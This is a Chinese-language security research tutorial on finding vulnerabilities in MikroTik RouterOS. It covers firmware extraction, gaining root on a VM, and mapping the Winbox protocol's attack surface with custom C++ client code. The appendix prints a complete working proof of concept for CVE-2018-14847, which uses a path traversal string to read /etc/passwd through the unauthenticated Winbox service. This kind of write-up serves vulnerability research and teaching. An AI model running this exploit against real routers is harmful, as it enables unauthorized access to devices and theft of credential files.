安全性堪忧:手把手教你寻找MikroTik路由器漏洞

商务办公
现在,Zerodium已经为MikroTik漏洞支付了6位数的奖励,我认为这是一个好机会,可以让我对RouterOS的漏洞进行一次完整分析。其实,任何时候都是研究RouterOS漏洞的好时机,因为这是一个有趣的目标。在本文的分析过程中,我发现了一个新的未授权漏洞。相信你也可以找到一些漏洞。

 一、前言

最近,我在Slack上收到了很多条私信,这些私信都共同指向同一条推文。

为什么这与我有关呢?因为上周日,我在Derbycon上发表了一次关于在MikroTik的RouterOS中寻找漏洞的演讲。

[[257315]]


现在,Zerodium已经为MikroTik漏洞支付了6位数的奖励,我认为这是一个好机会,可以让我对RouterOS的漏洞进行一次完整分析。其实,任何时候都是研究RouterOS漏洞的好时机,因为这是一个有趣的目标。在本文的分析过程中,我发现了一个新的未授权漏洞。相信你也可以找到一些漏洞。

二、奠定基础

现在,想必各位读者已经开始规划奖金要如何分配了。但是,还是需要冷静下来,我们还有一部分准备工作要做。2.1 获取软件最开始,大家其实不必急于在淘宝上购买MikroTik路由器。因为MikroTik在其网站上就提供了RouterOS的ISO镜像。在下载ISO之后,可以使用VirtualBox或VMWare创建一台虚拟主机。


我们从ISO中,可以提取系统文件。

  1. albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso 
  2.   
  3. 7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18 
  4. p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs) 
  5.   
  6. Processing archive: mikrotik-6.42.11.iso 
  7.   
  8. Extracting  advanced-tools-6.42.11.npk 
  9. Extracting  calea-6.42.11.npk 
  10. Extracting  defpacks 
  11. Extracting  dhcp-6.42.11.npk 
  12. Extracting  dude-6.42.11.npk 
  13. Extracting  gps-6.42.11.npk 
  14. Extracting  hotspot-6.42.11.npk 
  15. Extracting  ipv6-6.42.11.npk 
  16. Extracting  isolinux 
  17. Extracting  isolinux/boot.cat 
  18. Extracting  isolinux/initrd.rgz 
  19. Extracting  isolinux/isolinux.bin 
  20. Extracting  isolinux/isolinux.cfg 
  21. Extracting  isolinux/linux 
  22. Extracting  isolinux/TRANS.TBL 
  23. Extracting  kvm-6.42.11.npk 
  24. Extracting  lcd-6.42.11.npk 
  25. Extracting  LICENSE.txt 
  26. Extracting  mpls-6.42.11.npk 
  27. Extracting  multicast-6.42.11.npk 
  28. Extracting  ntp-6.42.11.npk 
  29. Extracting  ppp-6.42.11.npk 
  30. Extracting  routing-6.42.11.npk 
  31. Extracting  security-6.42.11.npk 
  32. Extracting  system-6.42.11.npk 
  33. Extracting  TRANS.TBL 
  34. Extracting  ups-6.42.11.npk 
  35. Extracting  user-manager-6.42.11.npk 
  36. Extracting  wireless-6.42.11.npk 
  37. Extracting  [BOOT]/Bootable_NoEmulation.img 
  38.   
  39. Everything is Ok 
  40.   
  41. Folders: 1 
  42. Files: 29 
  43. Size:       26232176 
  44. Compressed: 26335232 

MikroTik使用他们自定义的.npk格式封装了许多软件。有一个工具可以对它们实现解封装,但我还是更加倾向于使用binwalk。albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk

  1. albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk 
  2.   
  3. DECIMAL       HEXADECIMAL     DESCRIPTION 
  4. -------------------------------------------------------------------- 
  5. 0             0x0             NPK firmware header, image size: 15616295, image name"system", description: "" 
  6. 4096          0x1000          Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10 
  7. 9822304       0x95E060        ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV) 
  8. 9842177       0x962E01        Unix path: /sys/devices/system/cpu 
  9. 9846974       0x9640BE        ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV) 
  10. 9904147       0x972013        Unix path: /sys/devices/system/cpu 
  11. 9928025       0x977D59        Copyright string: "Copyright 1995-2005 Mark Adler " 
  12. 9928138       0x977DCA        CRC32 polynomial table, little endian 
  13. 9932234       0x978DCA        CRC32 polynomial table, big endian 
  14. 9958962       0x97F632        xz compressed data 
  15. 12000822      0xB71E36        xz compressed data 
  16. 12003148      0xB7274C        xz compressed data 
  17. 12104110      0xB8B1AE        xz compressed data 
  18. 13772462      0xD226AE        xz compressed data 
  19. 13790464      0xD26D00        xz compressed data 
  20. 15613512      0xEE3E48        xz compressed data 
  21. 15616031      0xEE481F        Unix path: /var/pdb/system/crcbin/milo 3801732988 
  22.   
  23. albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/ 
  24. total 64 
  25. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin 
  26. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot 
  27. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev 
  28. lrwxrwxrwx 1 albinolobster   11 Dec 21 04:18 dude -> /flash/dude 
  29. drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc 
  30. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash 
  31. drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home 
  32. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd 
  33. drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib 
  34. drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova 
  35. drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old 
  36. lrwxrwxrwx 1 albinolobster    9 Dec 21 04:18 pckg -> /ram/pckg 
  37. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc 
  38. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram 
  39. lrwxrwxrwx 1 albinolobster    9 Dec 21 04:18 rw -> /flash/rw 
  40. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin 
  41. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys 
  42. lrwxrwxrwx 1 albinolobster    7 Dec 21 04:18 tmp -> /rw/tmp 
  43. drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr 
  44. drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var 
  45. albinolobster@ubuntu:~/6.42.11$ 

2.2 打开盒子

在寻找漏洞时,如果能访问目标的文件系统,那么会很有帮助。如果能够在本地运行GDB等工具,那么效果也会不错。但是,RouterOS提供的Shell并不是普通的Unix Shell。它只是RouterOS命令的命令行界面。

幸运的是,我有一个解决方案可以应对这些问题。根据编写rc.d脚本的S12defconf方式,我们发现RouterOS将会执行存储在/rw/DEFCONF文件中的任何内容。


普通用户无法访问该文件,但考虑到虚拟机和Live CD的独特性,我们可以借助它来创建文件,并在其中插入所需要的任何命令。要准确描述这一过程,可能太过复杂,因此我制作了一个视频,长度为5分钟左右,记录了从虚拟机安装到实现Root Telnet访问的全过程。

视频:https://youtu.be/OZ11gbF9fwM

通过Root Telnet访问,现在就可以完全控制虚拟机。我们可以上传更多的工具、附加到进程、查看日志等。至此为止,我们就已经准备好了,即将开始探索路由器的攻击面。

三、有人在听吗?

借助ps命令,我们可以快速确定网络可以访问到的攻击面。


看起来,路由器会监听一些众所周知的端口(HTTP、FTP、Telnet和SSH),但同样也有一些鲜为人知的端口。端口2000上的btest是带宽测试服务。端口8291上的mproxy是WinBox与之接口的服务。WinBox是一个在Windows上运行的管理工具,它与Telnet、SSH和HTTP接口共享所有的功能。


四、真正的攻击面

运行ps命令后,我们得到的输出结果不太乐观。看起来,好像只有几个二进制文件能够作为我们寻找漏洞的目标。但事实并非如此。HTTP服务器和WinBox都使用了自定义的协议,我将其称为WinboxMessage,实际代码称之为nv::message。该协议指定应该将消息传递到哪个二进制文件上。事实上,如果安装了所有软件包,大约有90多种不同的网络可以借助WinboxMessage协议访问二进制文件。还有一种简单的方法可以找出我们要寻找漏洞的二进制文件。可以在每个包的/nova/etc/loader/*.x3文件中找到一个列表。x3是一个自定义文件格式,所以我写了一个解析器。在运行后,输出结果较长,因此我做了一部分删减,删减后输出结果如下。

  1. albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3 
  2. /nova/bin/log,3 
  3. /nova/bin/radius,5 
  4. /nova/bin/moduler,6 
  5. /nova/bin/user,13 
  6. /nova/bin/resolver,14 
  7. /nova/bin/mactel,15 
  8. /nova/bin/undo,17 
  9. /nova/bin/macping,18 
  10. /nova/bin/cerm,19 
  11. /nova/bin/cerm-worker,75 
  12. /nova/bin/net,20 
  13. ... 

x3文件还包含每个二进制文件的“SYS TO”标识符。这是WinboxMessage协议用于确定应处理消息位置的标识符。

五、对WinboxMessage的深入分析

在清楚可以接触到哪些二进制文件之后,我们其实还要清楚如何与它们进行通信。在本章中,我将介绍几个例子。

5.1 入门

假如我想和/nova/bin/undo进行对话,应该从哪里开始?我们首先从一些代码开始讲起。我写了一些C++代码,它将完成所有WinboxMessage协议格式化和会话处理。我还创建了一个可以继续构建的程序框架,各位读者可以继续完善。

  1. std::string ip; 
  2. std::string port; 
  3. if (!parseCommandLine(p_argc, p_argv, ip, port)) 
  4.     return EXIT_FAILURE; 
  5.   
  6. Winbox_Session winboxSession(ip, port); 
  7. if (!winboxSession.connect()) 
  8.     std::cerr << "Failed to connect to the remote host" 
  9.               << std::endl; 
  10.     return EXIT_FAILURE; 
  11. return EXIT_SUCCESS; 

大家可以看到,Winbox_Session类负责连接到路由器,此外它还负责身份验证逻辑以及发送和接收消息。现在,从上面的输出中可以看出,/nova/bin/undo有一个SYS TO,标识符为17。为了实现undo,我们需要更新代码,以创建消息,并设置相应的SYS TO标识符。

  1. Winbox_Session winboxSession(ip, port); 
  2. if (!winboxSession.connect()) 
  3.     std::cerr << "Failed to connect to the remote host" 
  4.               << std::endl; 
  5.     return EXIT_FAILURE; 
  6.   
  7. WinboxMessage msg; 
  8. msg.set_to(17); 

5.2 命令与控制

每条消息还需要一个命令。正如稍后我们看到的,每个命令都会调用特定的功能。所有处理程序都使用一些内置的命令(0xfe0000–0xfe00016)和一些具有唯一实现的自定义命令。Pop /nova/bin/undo进入反汇编程序,并找到nv::Looper::Looper构造函数的唯一代码交叉引用。

按照我标记为undo_handler的偏移到vtable,可以看到以下内容。


这里是undo WinboxMessage处理的vtable。有一些函数直接对应我前面提到的内置命令(例如:0xfe0001由nv::Handler::cmdGetPolicies负责处理)。此外,我还突出标记了未知的命令功能,非内置命令将在这里实现。由于非内置命令通常是最有趣的,所以我们将会跳转到cmdUnknown。我们可以看到,它会从基于命令的跳转表开始。


看起来,命令的编号从0x80001开始。稍微查看代码后,发现命令0x80002似乎有一个有用的字符串可以进行测试。那么,我们来看看是否可以达到“无需redo”的代码路径。


我们需要更新框架代码,以请求命令0x80002。我们还需要添加发送和接收逻辑。

  1. WinboxMessage msg; 
  2. msg.set_to(17); 
  3. msg.set_command(0x80002); 
  4. msg.set_request_id(1); 
  5. msg.set_reply_expected(true); 
  6. winboxSession.send(msg); 
  7.   
  8. std::cout << "req: " << msg.serialize_to_json() << std::endl; 
  9.   
  10. msg.reset(); 
  11. if (!winboxSession.receive(msg)) 
  12.     std::cerr << "Error receiving a response." << std::endl; 
  13.     return EXIT_FAILURE; 
  14.   
  15. std::cout << "resp: " << msg.serialize_to_json() << std::endl; 
  16.      
  17. if (msg.has_error()) 
  18.     std::cerr << msg.get_error_string() << std::endl; 
  19.     return EXIT_FAILURE; 
  20.   
  21. return EXIT_SUCCESS; 

在编译并执行后,我们就得到了想要的“无需redo”。

  1. albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291 
  2. req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]} 
  3. resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]} 
  4. nothing to redo 
  5. albinolobster@ubuntu:~/routeros/poc/skeleton/build$ 

5.3 突破口不止一个

在前面的示例中,我们查看了undo中的主处理程序,该处理程序可以简单地解析为17。但是,大多数二进制文件都有多个处理程序。在下面的示例中,我们将要检查/nova/bin/mproxy的第二个处理程序。我非常喜欢这个示例,因为这就是CVE-2018-14847的攻击面,并且这个示例有助于揭开这些奇怪二进制Blob的神秘面纱:

5.4 寻找处理程序

在IDA中打开/nova/bin/mproxy,找到nv::Looper::addHandler导入。在6.42.11中,addHandler只有两段代码交叉引用。在这里,很容易识别到我们感兴趣的处理程序,也就是第二个处理程序,因为在调用addHandler之前,处理程序标识符被压入栈中。


如果我们查看将nv::Handler*加载到edi中的位置,我们就会找到处理程序的vtable的偏移量。这个结构看起来有些熟悉:


在这里,我再次强调了未知的命令功能。这一处理程序的未知命令函数支持七个命令:

1、打开/var/pckg/中的文件以进行写入;

2、写入打开的文件;

3、打开/var/pckg/中的文件以进行读取;

4、读取打开的文件;

5、取消文件传输;

6、在/var/pckg/中创建一个目录;

7、打开/home/web/webfig/中的文件并进行读取。其中,第4、5、7个命令不需要进行身份验证。

5.5 打开文件

我们尝试使用命令7,在/home/web/webfig/中打开一个文件。这是exploit-db截图中FIRST_PAYLOAD使用的命令。我们仔细查看代码中对命令7的处理,会发现它首先找到的是一个id为1的字符串。


字符串是我们要打开的文件名。我们来看一下,/home/web/webfig中的哪一个文件比较有趣呢?


事实上,我们在这里看不出来。但在list中,包含已经安装的软件包和其版本号的列表。我们将打开的文件请求转换为WinboxMessage。返回到我们编写的代码,我们需要覆盖set_to和set_command代码,还需要插入add_string。因此我又重新修改了代码。

  1. Winbox_Session winboxSession(ip, port); 
  2. if (!winboxSession.connect()) 
  3.     std::cerr << "Failed to connect to the remote host" 
  4.               << std::endl; 
  5.     return EXIT_FAILURE; 
  6.   
  7. WinboxMessage msg; 
  8. msg.set_to(2,2); // mproxy, second handler 
  9. msg.set_command(7); 
  10. msg.add_string(1, "list"); // the file to open 
  11. msg.set_request_id(1); 
  12. msg.set_reply_expected(true); 
  13. winboxSession.send(msg); 
  14.   
  15. std::cout << "req: " << msg.serialize_to_json() << std::endl; 
  16.   
  17. msg.reset(); 
  18. if (!winboxSession.receive(msg)) 
  19.     std::cerr << "Error receiving a response." << std::endl; 
  20.     return EXIT_FAILURE; 
  21.   
  22. std::cout << "resp: " << msg.serialize_to_json() << std::endl; 

运行此代码后,我们应该能够看到如下内容:

  1. albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291 
  2. req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]} 
  3. resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]} 
  4. albinolobster@ubuntu:~/routeros/poc/skeleton/build$ 

现在,应该可以看到服务器的响应中包含u2:1818。眼熟不?

由于运行需要较长时间,因此我把读取文件内容的这部分工作交给读者自行完成。在CVE-2018-14847的PoC中包含了读者可能需要的所有提示。

六、总结

至此,我们已经详细说明了如何获取RouterOS软件并创建虚拟机,并展示了RouterOS的攻击面,并分析如何进入系统二进制文件。我分享了用于处理Winbox通信的代码,并展示了详细的使用过程。如果各位读者还想深入研究协议的细节,那么请阅读我的演讲内容。至少,我们现在知道,MikroTik的安全性仍然是不容忽视的。附录:CVE-2018-14847 PoC#include

  1. #include <cstdlib> 
  2. #include <iostream> 
  3. #include <boost/cstdint.hpp> 
  4. #include <boost/program_options.hpp> 
  5. #include <boost/algorithm/string.hpp> 
  6.   
  7. #include "winbox_session.hpp" 
  8. #include "winbox_message.hpp" 
  9.   
  10. namespace 
  11.     const char s_version[] = "CVE-2018-14847 PoC Derbycon 2018 release"
  12.   
  13.     bool parseCommandLine(int p_argCount, const char* p_argArray[], 
  14.                           std::string& p_ip, std::string& p_port) 
  15.     { 
  16.         boost::program_options::options_description description("options"); 
  17.         description.add_options() 
  18.             ("help,h""A list of command line options"
  19.             ("version,v""Display version information"
  20.             ("port,p", boost::program_options::value<std::string>(), "The port to connect to"
  21.             ("ip,i", boost::program_options::value<std::string>(), "The ip to connect to"); 
  22.   
  23.         boost::program_options::variables_map argv_map; 
  24.         try 
  25.         { 
  26.             boost::program_options::store( 
  27.                 boost::program_options::parse_command_line( 
  28.                     p_argCount, p_argArray, description), argv_map); 
  29.         } 
  30.         catch (const std::exception& e) 
  31.         { 
  32.             std::cerr << e.what() << std::endl; 
  33.             std::cerr << description << std::endl; 
  34.             return false
  35.         } 
  36.   
  37.         boost::program_options::notify(argv_map); 
  38.         if (argv_map.empty() || argv_map.count("help")) 
  39.         { 
  40.             std::cerr << description << std::endl; 
  41.             return false
  42.         } 
  43.   
  44.         if (argv_map.count("version")) 
  45.         { 
  46.             std::cerr << "Version: " << ::s_version << std::endl; 
  47.             return false
  48.         } 
  49.   
  50.         if (argv_map.count("ip") && argv_map.count("port")) 
  51.         { 
  52.             p_ip.assign(argv_map["ip"].as<std::string>()); 
  53.             p_port.assign(argv_map["port"].as<std::string>()); 
  54.             return true
  55.         } 
  56.         else 
  57.         { 
  58.             std::cout << description << std::endl; 
  59.         } 
  60.   
  61.         return false
  62.     } 
  63.   
  64. int main(int p_argc, const char** p_argv) 
  65.     std::string ip; 
  66.     std::string port; 
  67.     if (!parseCommandLine(p_argc, p_argv, ip, port)) 
  68.     { 
  69.         return EXIT_FAILURE; 
  70.     } 
  71.   
  72.     Winbox_Session winboxSession(ip, port); 
  73.     if (!winboxSession.connect()) 
  74.     { 
  75.         std::cerr << "Failed to connect to the remote host" << std::endl; 
  76.         return EXIT_FAILURE; 
  77.     } 
  78.   
  79.     WinboxMessage msg; 
  80.     msg.set_to(2, 2); 
  81.     msg.set_command(7); 
  82.     msg.set_request_id(1); 
  83.     msg.set_reply_expected(true); 
  84.     msg.add_string(1, "//./.././.././../etc/passwd"); 
  85.     winboxSession.send(msg); 
  86.   
  87.     msg.reset(); 
  88.     if (!winboxSession.receive(msg)) 
  89.     { 
  90.         std::cerr << "Error receiving a response." << std::endl; 
  91.         return EXIT_FAILURE; 
  92.     } 
  93.   
  94.     boost::uint32_t sessionID = msg.get_session_id(); 
  95.     boost::uint16_t file_size = msg.get_u32(2); 
  96.     if (file_size == 0) 
  97.     { 
  98.         std::cout << "File size is 0" << std::endl; 
  99.         return EXIT_FAILURE; 
  100.     } 
  101.   
  102.     msg.reset(); 
  103.     msg.set_to(2, 2); 
  104.     msg.set_command(4); 
  105.     msg.set_request_id(2); 
  106.     msg.set_reply_expected(true); 
  107.     msg.set_session_id(sessionID); 
  108.     msg.add_u32(2, file_size); 
  109.     winboxSession.send(msg); 
  110.   
  111.     msg.reset(); 
  112.     if (!winboxSession.receive(msg)) 
  113.     { 
  114.         std::cerr << "Error receiving a response." << std::endl; 
  115.         return EXIT_FAILURE; 
  116.     } 
  117.   
  118.     std::string raw_payload(msg.get_raw(0x03)); 
  119.     std::cout << std::endl << "=== File Contents (size: " << raw_payload.size() << ") ===" << std::endl; 
  120.   
  121.     for (std::size_t i = 0; i < raw_payload.size(); i++) 
  122.     { 
  123.         std::cerr << raw_payload[i]; 
  124.     } 
  125.     std::cerr << std::endl; 
  126.   
  127.     return EXIT_SUCCESS; 

 

责任编辑:武晓燕 来源: 4hou
相关推荐

2011-08-29 18:03:47

设置路由器路由器

2009-12-15 16:44:07

水星路由器设置教程

2009-11-13 15:51:56

路由器配置

2011-08-11 15:20:45

路由器安全

2019-01-29 10:11:41

无线路由器密码WiFi

2010-08-03 14:11:23

2009-03-02 09:33:00

2010-07-30 15:34:06

路由器口令

2010-08-18 09:15:45

路由器网络诊断

2010-09-02 13:31:54

2018-10-11 08:15:20

2011-05-03 15:59:00

黑盒打印机

2011-01-10 14:41:26

2009-11-09 11:56:34

2014-07-10 14:48:26

无线路由器

2022-07-22 12:45:39

GNU

2009-07-19 15:02:56

2010-08-23 09:14:39

2010-08-20 15:20:40

2011-02-22 13:46:27

微软SQL.NET
点赞
收藏

51CTO技术栈公众号